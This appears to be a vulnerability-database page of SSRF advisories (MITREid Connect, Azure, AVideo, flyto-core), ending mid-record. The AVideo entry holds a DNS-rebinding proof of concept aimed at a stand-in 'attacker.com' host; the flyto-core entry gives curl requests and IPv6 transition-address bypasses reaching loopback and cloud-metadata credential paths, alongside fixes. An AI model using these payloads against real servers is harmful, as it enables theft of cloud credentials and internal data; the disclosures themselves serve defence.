Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4719 vulnerabilities reference this CWE, most recent first.

GHSA-792R-MH2Q-P8QP

Vulnerability from github – Published: 2021-05-13 22:30 – Updated: 2021-03-31 23:22
VLAI
Summary
Server Side Request Forgery (SSRF) in org.mitre:openid-connect-server
Details

The OpenID Connect server implementation for MITREid Connect through 1.3.3 contains a Server Side Request Forgery (SSRF) vulnerability. The vulnerability arises due to unsafe usage of the logo_uri parameter in the Dynamic Client Registration request. An unauthenticated attacker can make a HTTP request from the vulnerable server to any address in the internal network and obtain its response (which might, for example, have a JavaScript payload for resultant XSS). The issue can be exploited to bypass network boundaries, obtain sensitive data, or attack other hosts in the internal network.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mitre:openid-connect-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-26715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-26T18:51:24Z",
    "nvd_published_at": "2021-03-25T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "The OpenID Connect server implementation for MITREid Connect through 1.3.3 contains a Server Side Request Forgery (SSRF) vulnerability. The vulnerability arises due to unsafe usage of the logo_uri parameter in the Dynamic Client Registration request. An unauthenticated attacker can make a HTTP request from the vulnerable server to any address in the internal network and obtain its response (which might, for example, have a JavaScript payload for resultant XSS). The issue can be exploited to bypass network boundaries, obtain sensitive data, or attack other hosts in the internal network.",
  "id": "GHSA-792r-mh2q-p8qp",
  "modified": "2021-03-31T23:22:17Z",
  "published": "2021-05-13T22:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mitreid-connect/OpenID-Connect-Java-Spring-Server/releases"
    },
    {
      "type": "WEB",
      "url": "https://portswigger.net/research/hidden-oauth-attack-vectors"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server Side Request Forgery (SSRF) in org.mitre:openid-connect-server"
}

GHSA-793P-3CHH-7Q87

Vulnerability from github – Published: 2025-05-09 00:30 – Updated: 2025-05-09 00:30
VLAI
Details

Server-Side Request Forgery (SSRF) in Azure allows an authorized attacker to perform spoofing over a network.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-29972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-08T23:15:52Z",
    "severity": "CRITICAL"
  },
  "details": "Server-Side Request Forgery (SSRF) in Azure allows an authorized attacker to perform spoofing over a network.",
  "id": "GHSA-793p-3chh-7q87",
  "modified": "2025-05-09T00:30:35Z",
  "published": "2025-05-09T00:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29972"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29972"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-793Q-XGJ6-7FRP

Vulnerability from github – Published: 2026-04-14 23:15 – Updated: 2026-04-24 20:40
VLAI
Summary
WWBN AVideo has an incomplete fix for CVE-2026-33039: SSRF
Details

Summary

The incomplete SSRF fix in AVideo's LiveLinks proxy adds isSSRFSafeURL() validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 0e56382921fc71e64829cd1ec35f04e338c70917
  • Patched versions: >= commit 0e56382921fc71e64829cd1ec35f04e338c70917

Details

The plugin/LiveLinks/proxy.php endpoint proxies live stream URLs. The fix adds isSSRFSafeURL() check on the initial URL, redirect URL validation, and follow_location=0 in the get_headers() context. However, multiple DNS TOCTOU vulnerabilities remain.

For the initial URL, isSSRFSafeURL() resolves DNS once for validation, but get_headers() resolves DNS again independently. A DNS rebinding attack with TTL=0 returns a safe external IP for the first resolution and an internal IP for the second.

The same TOCTOU exists for redirect URLs: isSSRFSafeURL() validates the redirect target (first resolution returns a safe IP), then fakeBrowser() makes the actual request (second resolution returns an internal IP).

Additionally, even with follow_location=0, get_headers() still sends an HTTP request that can probe internal services via DNS rebinding, and multiple Location headers in a response cause filter_var() to receive an array instead of a string, resulting in a fall-through to the else branch.

PoC

#!/usr/bin/env python3
"""
CVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding
"""

import re
import sys

class DNSResolver:
    def __init__(self):
        self._call_count = {}

    def resolve(self, host):
        if host not in self._call_count:
            self._call_count[host] = 0
        self._call_count[host] += 1

        if host == "rebind.attacker.com":
            return "93.184.216.34" if self._call_count[host] == 1 else "169.254.169.254"
        if host == "rebind-loopback.attacker.com":
            return "93.184.216.34" if self._call_count[host] == 1 else "127.0.0.1"

        static = {"attacker.com": "93.184.216.34", "example.com": "93.184.216.34", "localhost": "127.0.0.1"}
        return static.get(host, None)

    def reset(self):
        self._call_count = {}

dns = DNSResolver()

def php_parse_url_host(url):
    match = re.match(r'https?://([^/:?#]+)', url, re.IGNORECASE)
    return match.group(1).lower() if match else None

def php_filter_validate_ip(s):
    if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', s):
        return all(0 <= int(p) <= 255 for p in s.split('.'))
    return False

def is_ssrf_safe_url(url):
    if not url: return False, "empty"
    host = php_parse_url_host(url)
    if not host: return False, "no host"

    for pat in ['localhost', '127.0.0.1', '::1', '0.0.0.0']:
        if host == pat: return False, f"blocked: {host}"

    ip = host
    if not php_filter_validate_ip(host):
        resolved = dns.resolve(host)
        if not resolved: return False, "DNS failed"
        ip = resolved

    for pattern in [r'^10\.', r'^172\.(1[6-9]|2\d|3[0-1])\.', r'^192\.168\.', r'^127\.', r'^169\.254\.']:
        if re.match(pattern, ip): return False, f"blocked: {ip}"

    return True, f"allowed ({ip})"

def main():
    print("=" * 72)
    print("CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC")
    print("=" * 72)

    vuln_count = 0

    print("\n[TEST 1] DNS rebinding on initial URL")
    dns.reset()
    safe, reason = is_ssrf_safe_url("http://rebind.attacker.com/meta-data/")
    actual_ip = dns.resolve("rebind.attacker.com")
    print(f"  isSSRFSafeURL: safe={safe}, reason={reason}")
    print(f"  Actual request goes to: {actual_ip}")
    if safe and actual_ip == "169.254.169.254":
        print("  => BYPASS!")
        vuln_count += 1

    print("\n[TEST 2] DNS rebinding on redirect URL")
    dns.reset()
    safe_r, _ = is_ssrf_safe_url("http://rebind-loopback.attacker.com/admin/")
    final_ip = dns.resolve("rebind-loopback.attacker.com")
    print(f"  isSSRFSafeURL: safe={safe_r}")
    print(f"  fakeBrowser() goes to: {final_ip}")
    if safe_r and final_ip == "127.0.0.1":
        print("  => BYPASS!")
        vuln_count += 1

    print("\n[TEST 3] get_headers() side-effect")
    dns.reset()
    safe, _ = is_ssrf_safe_url("http://rebind.attacker.com:8080/probe")
    side_ip = dns.resolve("rebind.attacker.com")
    print(f"  isSSRFSafeURL passed: {safe}")
    print(f"  get_headers() reached: {side_ip}")
    if safe and side_ip == "169.254.169.254":
        print("  => BYPASS!")
        vuln_count += 1

    print(f"\nBypass vectors: {vuln_count}")
    if vuln_count > 0:
        print("\nVULNERABILITY CONFIRMED")
        return 0
    return 1

if __name__ == "__main__":
    sys.exit(main())

Steps to reproduce: 1. Run python3 poc.py. 2. Observe that all three DNS rebinding bypass vectors succeed.

Expected output:

VULNERABILITY CONFIRMED
DNS TOCTOU bypass vectors succeed on initial URL, redirect URL, and get_headers() side-effect paths.

Impact

DNS rebinding allows an attacker to bypass SSRF validation and make the server send requests to internal services, cloud metadata endpoints, and other protected resources.

Suggested Remediation

Pin DNS resolution: resolve the hostname once, validate the IP, and use the resolved IP for the actual request via CURLOPT_RESOLVE or equivalent. Remove the get_headers() call. Block redirects entirely or re-validate using pinned DNS after each redirect.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:15:43Z",
    "nvd_published_at": "2026-04-21T23:16:20Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe incomplete SSRF fix in AVideo\u0027s LiveLinks proxy adds `isSSRFSafeURL()` validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 0e56382921fc71e64829cd1ec35f04e338c70917\n- **Patched versions:** \u003e= commit 0e56382921fc71e64829cd1ec35f04e338c70917\n\n### Details\n\nThe `plugin/LiveLinks/proxy.php` endpoint proxies live stream URLs. The fix adds `isSSRFSafeURL()` check on the initial URL, redirect URL validation, and `follow_location=0` in the `get_headers()` context. However, multiple DNS TOCTOU vulnerabilities remain.\n\nFor the initial URL, `isSSRFSafeURL()` resolves DNS once for validation, but `get_headers()` resolves DNS again independently. A DNS rebinding attack with TTL=0 returns a safe external IP for the first resolution and an internal IP for the second.\n\nThe same TOCTOU exists for redirect URLs: `isSSRFSafeURL()` validates the redirect target (first resolution returns a safe IP), then `fakeBrowser()` makes the actual request (second resolution returns an internal IP).\n\nAdditionally, even with `follow_location=0`, `get_headers()` still sends an HTTP request that can probe internal services via DNS rebinding, and multiple `Location` headers in a response cause `filter_var()` to receive an array instead of a string, resulting in a fall-through to the else branch.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding\n\"\"\"\n\nimport re\nimport sys\n\nclass DNSResolver:\n    def __init__(self):\n        self._call_count = {}\n\n    def resolve(self, host):\n        if host not in self._call_count:\n            self._call_count[host] = 0\n        self._call_count[host] += 1\n\n        if host == \"rebind.attacker.com\":\n            return \"93.184.216.34\" if self._call_count[host] == 1 else \"169.254.169.254\"\n        if host == \"rebind-loopback.attacker.com\":\n            return \"93.184.216.34\" if self._call_count[host] == 1 else \"127.0.0.1\"\n\n        static = {\"attacker.com\": \"93.184.216.34\", \"example.com\": \"93.184.216.34\", \"localhost\": \"127.0.0.1\"}\n        return static.get(host, None)\n\n    def reset(self):\n        self._call_count = {}\n\ndns = DNSResolver()\n\ndef php_parse_url_host(url):\n    match = re.match(r\u0027https?://([^/:?#]+)\u0027, url, re.IGNORECASE)\n    return match.group(1).lower() if match else None\n\ndef php_filter_validate_ip(s):\n    if re.match(r\u0027^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$\u0027, s):\n        return all(0 \u003c= int(p) \u003c= 255 for p in s.split(\u0027.\u0027))\n    return False\n\ndef is_ssrf_safe_url(url):\n    if not url: return False, \"empty\"\n    host = php_parse_url_host(url)\n    if not host: return False, \"no host\"\n\n    for pat in [\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027, \u00270.0.0.0\u0027]:\n        if host == pat: return False, f\"blocked: {host}\"\n\n    ip = host\n    if not php_filter_validate_ip(host):\n        resolved = dns.resolve(host)\n        if not resolved: return False, \"DNS failed\"\n        ip = resolved\n\n    for pattern in [r\u0027^10\\.\u0027, r\u0027^172\\.(1[6-9]|2\\d|3[0-1])\\.\u0027, r\u0027^192\\.168\\.\u0027, r\u0027^127\\.\u0027, r\u0027^169\\.254\\.\u0027]:\n        if re.match(pattern, ip): return False, f\"blocked: {ip}\"\n\n    return True, f\"allowed ({ip})\"\n\ndef main():\n    print(\"=\" * 72)\n    print(\"CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC\")\n    print(\"=\" * 72)\n\n    vuln_count = 0\n\n    print(\"\\n[TEST 1] DNS rebinding on initial URL\")\n    dns.reset()\n    safe, reason = is_ssrf_safe_url(\"http://rebind.attacker.com/meta-data/\")\n    actual_ip = dns.resolve(\"rebind.attacker.com\")\n    print(f\"  isSSRFSafeURL: safe={safe}, reason={reason}\")\n    print(f\"  Actual request goes to: {actual_ip}\")\n    if safe and actual_ip == \"169.254.169.254\":\n        print(\"  =\u003e BYPASS!\")\n        vuln_count += 1\n\n    print(\"\\n[TEST 2] DNS rebinding on redirect URL\")\n    dns.reset()\n    safe_r, _ = is_ssrf_safe_url(\"http://rebind-loopback.attacker.com/admin/\")\n    final_ip = dns.resolve(\"rebind-loopback.attacker.com\")\n    print(f\"  isSSRFSafeURL: safe={safe_r}\")\n    print(f\"  fakeBrowser() goes to: {final_ip}\")\n    if safe_r and final_ip == \"127.0.0.1\":\n        print(\"  =\u003e BYPASS!\")\n        vuln_count += 1\n\n    print(\"\\n[TEST 3] get_headers() side-effect\")\n    dns.reset()\n    safe, _ = is_ssrf_safe_url(\"http://rebind.attacker.com:8080/probe\")\n    side_ip = dns.resolve(\"rebind.attacker.com\")\n    print(f\"  isSSRFSafeURL passed: {safe}\")\n    print(f\"  get_headers() reached: {side_ip}\")\n    if safe and side_ip == \"169.254.169.254\":\n        print(\"  =\u003e BYPASS!\")\n        vuln_count += 1\n\n    print(f\"\\nBypass vectors: {vuln_count}\")\n    if vuln_count \u003e 0:\n        print(\"\\nVULNERABILITY CONFIRMED\")\n        return 0\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n**Steps to reproduce:**\n1. Run `python3 poc.py`.\n2. Observe that all three DNS rebinding bypass vectors succeed.\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nDNS TOCTOU bypass vectors succeed on initial URL, redirect URL, and get_headers() side-effect paths.\n```\n\n### Impact\n\nDNS rebinding allows an attacker to bypass SSRF validation and make the server send requests to internal services, cloud metadata endpoints, and other protected resources.\n\n### Suggested Remediation\n\nPin DNS resolution: resolve the hostname once, validate the IP, and use the resolved IP for the actual request via `CURLOPT_RESOLVE` or equivalent. Remove the `get_headers()` call. Block redirects entirely or re-validate using pinned DNS after each redirect.",
  "id": "GHSA-793q-xgj6-7frp",
  "modified": "2026-04-24T20:40:31Z",
  "published": "2026-04-14T23:15:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-793q-xgj6-7frp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33039"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41055"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/8d8fc0cadb425835b4861036d589abcea4d78ee8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has an incomplete fix for CVE-2026-33039: SSRF"
}

GHSA-794R-5RP2-FPG8

Vulnerability from github – Published: 2026-07-06 17:30 – Updated: 2026-07-06 17:30
VLAI
Summary
flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf
Details

Summary

flyto-core's SSRF protection (validate_url_ssrf / is_private_ip in src/core/utils.py) blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded PRIVATE_IP_RANGES list. That list contains only the native RFC 1918 / loopback / link-local / unique-local ranges. It does not account for IPv6 transition address forms that embed an IPv4 (or loopback) target:

  • IPv4-mapped ::ffff:a.b.c.d
  • IPv4-compatible ::a.b.c.d
  • 6to4 2002::/16
  • NAT64 well-known prefix 64:ff9b::/96 and local-use 64:ff9b:1::/48

A workflow author can submit a URL with a literal transition-form host (for example http://[::ffff:127.0.0.1]:8080/... or http://[64:ff9b::a9fe:a9fe]/latest/meta-data/). is_private_ip() returns False for these (the address is not literally inside any listed range), so validate_url_ssrf lets the request through, and the http.get atomic module (and ~10 sibling modules that share the same guard) performs the outbound aiohttp fetch and returns the response body. On a host that uses NAT64/6to4 these addresses route to the embedded IPv4 endpoint (e.g. the cloud instance-metadata service 169.254.169.254); on any dual-stack host the IPv4-mapped form is routed by the kernel directly to the embedded IPv4, including loopback and RFC 1918 internal services.

This is CWE-918 (Server-Side Request Forgery): the guard that exists specifically to keep workflow-authored URLs away from internal/metadata endpoints is bypassable, and the response body is returned to the caller (a read SSRF).

Affected code

src/core/utils.py:

  • PRIVATE_IP_RANGES (around L297) — lists native ranges only; no 64:ff9b::/96, no 2002::/16, no ::ffff:0:0/96, no ::/96.
  • is_private_ip(ip_str) (around L337) — ipaddress.ip_address(ip_str) then membership test against PRIVATE_IP_RANGES. Because the test is plain network membership (not is_global/is_private predicates), it does not unwrap transition forms, so even ::ffff:127.0.0.1 — which ipaddress itself classifies is_private == True — is not caught here.
  • validate_url_ssrf (around L358) — resolves via socket.getaddrinfo(hostname, None, AF_UNSPEC) and rejects only when is_private_ip(ip) is True.
  • validate_url_with_env_config(url) (around L496) — the wrapper actually invoked by the modules.

Trust boundary in src/core/modules/atomic/http/get.py:

  • L93 url = params.get('url') — workflow parameter, attacker-controlled by the workflow author.
  • L104 validate_url_with_env_config(url) — the guard above.
  • L116 async with session.get(url, headers=headers, ssl=ssl_param) as response — aiohttp fetch; the body is returned to the caller.

How input reaches the sink (reachability)

params['url'] (L93) is fully attacker-controlled by the workflow author. It reaches the sink with no intervening sanitization other than the SSRF guard itself: L93 read → L104 validate_url_with_env_config(url) (the bypassed guard) → L116 aiohttp session.get. The route is POST /v1/execute with body {"module_id":"http.get","params":{"url":...}} (bearer-token authenticated; the token is the per-instance workflow-author credential), or equivalently an http.get node in a workflow YAML. The response body is returned in the data.body field, making this a read SSRF.

The same guarded-then-fetch pattern is shared by the http.{request,batch,paginate,session}, browser.goto, image.download, communication.webhook_trigger, notification.send, vector.connector and llm.chat atomic modules.

Impact

A user who can author/execute a workflow (the product's normal untrusted-input surface — reachable over the Execution API POST /v1/execute with a module-execute body, or via a workflow YAML node) can drive an authenticated outbound GET to internal-only destinations that the SSRF guard is explicitly meant to block:

  • Cloud instance-metadata service (169.254.169.254, metadata.google.internal) on NAT64/6to4-routed hosts via http://[64:ff9b::a9fe:a9fe]/..., exposing IAM credentials / instance identity.
  • Loopback and RFC 1918 internal services on any dual-stack host via the IPv4-mapped form http://[::ffff:127.0.0.1]:8080/..., http://[::ffff:10.x.x.x]/....

The response body is returned, so this is a read SSRF (data exfiltration from internal services), not merely a blind request. Auth required = workflow author; this is precisely the input class the guard was written to constrain, and SECURITY.md documents the resolved-IP check as a security control, so the bypass is against the project's own stated model. CWE-918. Severity: Medium-High.

PoC / Proof of concept

End-to-end reproduction (against pinned version)

Environment: real flyto-core Execution API booted from a clean install of the current default-branch HEAD (commit 4636d9f0dcf220a11cfaa1a63927b79042bfdc5c), Python 3.12.13, aiohttp 3.13.5. No FLYTO_ALLOW_PRIVATE_NETWORK / FLYTO_ALLOWED_HOSTS / FLYTO_VSCODE_LOCAL_MODE set (production defaults).

Install and boot the real server:

git clone https://github.com/flytohub/flyto-core && cd flyto-core
python3.12 -m venv venv && . venv/bin/activate
pip install ".[api]"
python -m core.api            # starts uvicorn on 127.0.0.1:8333; prints token path
TOKEN=$(cat ~/.flyto/.api-token-8333)   # auto-generated bearer token for /v1/execute

Start a sentinel that stands in for an internal-only service (bound to loopback, on an allowed port 8080):

# sentinel.py — simulates an internal metadata/admin service reachable only from the host
from http.server import BaseHTTPRequestHandler, HTTPServer
SENTINEL = "FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN"
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        body = f"{SENTINEL} path={self.path} from={self.client_address[0]}".encode()
        self.send_response(200); self.send_header("Content-Type","text/plain")
        self.send_header("Content-Length",str(len(body))); self.end_headers(); self.wfile.write(body)
    def log_message(self,*a): pass
HTTPServer(("127.0.0.1", 8080), H).serve_forever()

Run python sentinel.py in a second terminal.

Negative control 1 — raw loopback literal is correctly blocked

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1","browser_session":null,"duration_ms":6010}

Negative control 2 — raw IMDS literal is correctly blocked

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://169.254.169.254/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 169.254.169.254","browser_session":null,"duration_ms":3003}

Bypass — IPv4-mapped IPv6 literal reaches the internal sentinel

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
{"ok":true,"data":{"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1","headers":{"Server":"BaseHTTP/0.6 Python/3.12.13","Date":"Sat, 30 May 2026 08:13:39 GMT","Content-Type":"text/plain","Content-Length":"124"}}},"error":null,"browser_session":null,"duration_ms":1}

The sentinel access log confirms the request really arrived from the app:

[sentinel] "GET /latest/meta-data/iam/security-credentials/admin-role HTTP/1.1" 200 -

The guard passed the transition-form host and the internal sentinel body (including the FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN marker) was returned to the caller.

Bypass — NAT64 well-known-prefix IMDS vector reaches the SSRF gate

On this host there is no NAT64 router, so the connection cannot complete; the point is that the guard does not raise SSRFError for the NAT64 form (it proceeds to a network connect that then times out), in contrast to the raw 169.254.169.254 which is blocked at the guard:

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] ","browser_session":null,"duration_ms":95805}

(64:ff9b::a9fe:a9fe is the NAT64-WKP encoding of 169.254.169.254. The empty [NETWORK_ERROR] is a connect timeout, not the Hostname blocked / URL resolves to private IP SSRF rejection seen for the raw forms — proving the guard let it through to the network layer. On a NAT64-enabled host the kernel routes this to the cloud metadata endpoint.)

Vector liveness on the affected runtime

Verified directly against the project's guard logic on Python 3.12.13 (the Dockerfile runtime; requires-python >= 3.9). Because the guard uses plain PRIVATE_IP_RANGES membership rather than the is_global/is_private predicates, it is not affected by the CPython CVE-2024-4032 (3.12.4+) reclassification, and all of these bypass the guard on every supported runtime:

64:ff9b::a9fe:a9fe       guard_blocks=False   (NAT64-WKP -> 169.254.169.254)
64:ff9b::7f00:1          guard_blocks=False   (NAT64-WKP -> 127.0.0.1)
2002:7f00:1::            guard_blocks=False   (6to4 -> 127.0.0.1)
::ffff:169.254.169.254   guard_blocks=False   (IPv4-mapped -> IMDS)
::ffff:127.0.0.1         guard_blocks=False   (IPv4-mapped -> loopback)   [used in the deployed bypass above]
169.254.169.254          guard_blocks=True    (native, correctly blocked)
127.0.0.1                guard_blocks=True    (native, correctly blocked)

Suggested fix

Unwrap any embedded IPv4 from IPv6 transition forms and range-check it as well as the outer address, before the membership test. Re-checking the embedded IPv4 (rather than blanket-blocking the prefix) keeps legitimate public destinations expressed in transition form allowed.

def _extract_embedded_ipv4(ip):
    """IPv4 embedded in an IPv6 transition address (mapped/compat/6to4/NAT64), else None."""
    if ip.version != 6:
        return None
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if ip.sixtofour is not None:               # 2002::/16
        return ip.sixtofour
    raw = int(ip).to_bytes(16, 'big')
    if raw[:2] == b'\x00\x64' and (raw[2:4] == b'\xff\x9b' or raw[2:6] == b'\xff\x9b\x00\x01'):
        return ipaddress.IPv4Address(raw[-4:])  # NAT64 64:ff9b::/96 and 64:ff9b:1::/48
    if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b'\x00\x00\x00\x01'):
        return ipaddress.IPv4Address(raw[-4:])  # IPv4-compatible ::a.b.c.d (deprecated)
    return None


def is_private_ip(ip_str: str) -> bool:
    try:
        ip = ipaddress.ip_address(ip_str)
    except ValueError:
        return True
    candidates = [ip]
    embedded = _extract_embedded_ipv4(ip)
    if embedded is not None:
        candidates.append(embedded)
    for candidate in candidates:
        for network in PRIVATE_IP_RANGES:
            if candidate.version == network.version and candidate in network:
                return True
    return False

Patched-build verification (same deployed server, fix applied)

With the fix applied to the installed core/utils.py and the server restarted, the previously-successful bypass is now blocked at the guard, and the NAT64 form is now an SSRFError instead of a connect timeout:

# [::ffff:127.0.0.1]:8080  (was ok:true returning the sentinel; now blocked)
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: ::ffff:127.0.0.1 -> ::ffff:127.0.0.1. Use 'allowed_hosts' to enable controlled private access.","duration_ms":5573}

# [64:ff9b::a9fe:a9fe]  (was a 95s connect timeout; now rejected at the SSRF gate)
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: 64:ff9b::a9fe:a9fe -> 64:ff9b::a9fe:a9fe. Use 'allowed_hosts' to enable controlled private access.","duration_ms":3003}

Public destinations expressed in transition form (e.g. ::ffff:8.8.8.8, 64:ff9b::808:808 = 8.8.8.8) remain allowed by the fix, since the embedded IPv4 is itself public.

Fix PR

A fix PR with the change above plus regression tests is provided via the advisory's private temporary fork (link added to this advisory).

Credit

Reported by tonghuaroot. Found by independent source review and confirmed with the deployed end-to-end reproduction above. CWE-918.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T17:30:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`flyto-core`\u0027s SSRF protection (`validate_url_ssrf` / `is_private_ip` in `src/core/utils.py`) blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded `PRIVATE_IP_RANGES` list. That list contains only the *native* RFC 1918 / loopback / link-local / unique-local ranges. It does **not** account for IPv6 transition address forms that embed an IPv4 (or loopback) target:\n\n- IPv4-mapped `::ffff:a.b.c.d`\n- IPv4-compatible `::a.b.c.d`\n- 6to4 `2002::/16`\n- NAT64 well-known prefix `64:ff9b::/96` and local-use `64:ff9b:1::/48`\n\nA workflow author can submit a URL with a literal transition-form host (for example `http://[::ffff:127.0.0.1]:8080/...` or `http://[64:ff9b::a9fe:a9fe]/latest/meta-data/`). `is_private_ip()` returns `False` for these (the address is not literally inside any listed range), so `validate_url_ssrf` lets the request through, and the `http.get` atomic module (and ~10 sibling modules that share the same guard) performs the outbound `aiohttp` fetch and returns the response body. On a host that uses NAT64/6to4 these addresses route to the embedded IPv4 endpoint (e.g. the cloud instance-metadata service `169.254.169.254`); on any dual-stack host the IPv4-mapped form is routed by the kernel directly to the embedded IPv4, including loopback and RFC 1918 internal services.\n\nThis is CWE-918 (Server-Side Request Forgery): the guard that exists specifically to keep workflow-authored URLs 